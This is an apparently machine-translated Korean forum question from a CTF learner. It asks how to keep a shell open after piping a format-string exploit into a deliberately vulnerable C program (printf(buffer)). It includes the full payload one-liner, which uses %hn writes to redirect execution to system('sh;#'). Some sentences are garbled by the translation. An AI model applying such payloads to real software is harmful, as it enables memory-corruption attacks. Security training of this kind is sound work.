EOF를 보내지 않고 STDIN을 처리하기 위해 터미널에서 입력을 보내는 방법은 무엇입니까?

EOF를 보내지 않고 STDIN을 처리하기 위해 터미널에서 입력을 보내는 방법은 무엇입니까?

컴퓨터 과학을 공부하고 보안 훈련도 하고 있어요https://ctf101.org/그리고 자유시간에 운동을 하세요.

프로그램이 두 번 읽는 형식 문자열 활용 연습에서 프로그램의 STDIN(즉, 아래 페이로드)에 입력을 보내고 싶습니다 fgets().

이제 페이로드를 파이프하면(아래 참조) system("sh;#")실행되지만 파이프가 전송했기 때문에 즉시 종료됩니까 EOF?

또한 프로그램을 확인한 tty후 작성 했지만 /dev/pts/0작동하지 않습니다. 글쓰기도 작동하지 않습니다 /proc/PID/fd/0.

system("sh;#")호출하면 대화형 셸이 생성되도록(즉시 종료하지 않고) 프로그램의 STDIN에 어떻게 기록합니까 ?

python -c 'print("sh;#"+"%54012x"+"%12$hn"+"%09441x"+"%13$hn"+"##"+"\x50\x33\x40\x00\x00\x00\x00\x00"+"\x52\x33\x40\x00\x00\x00\x00\x00")' | env -i ./fmtstr0x1 

전체 프로그램:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define BUFSZ 128

int main(int argc, char** argv) {
    char buffer[BUFSZ];
    fgets(buffer, BUFSZ, stdin);
    printf(buffer);
    fgets(buffer, BUFSZ, stdin); // exploit this!
    return 0;
}

관련 정보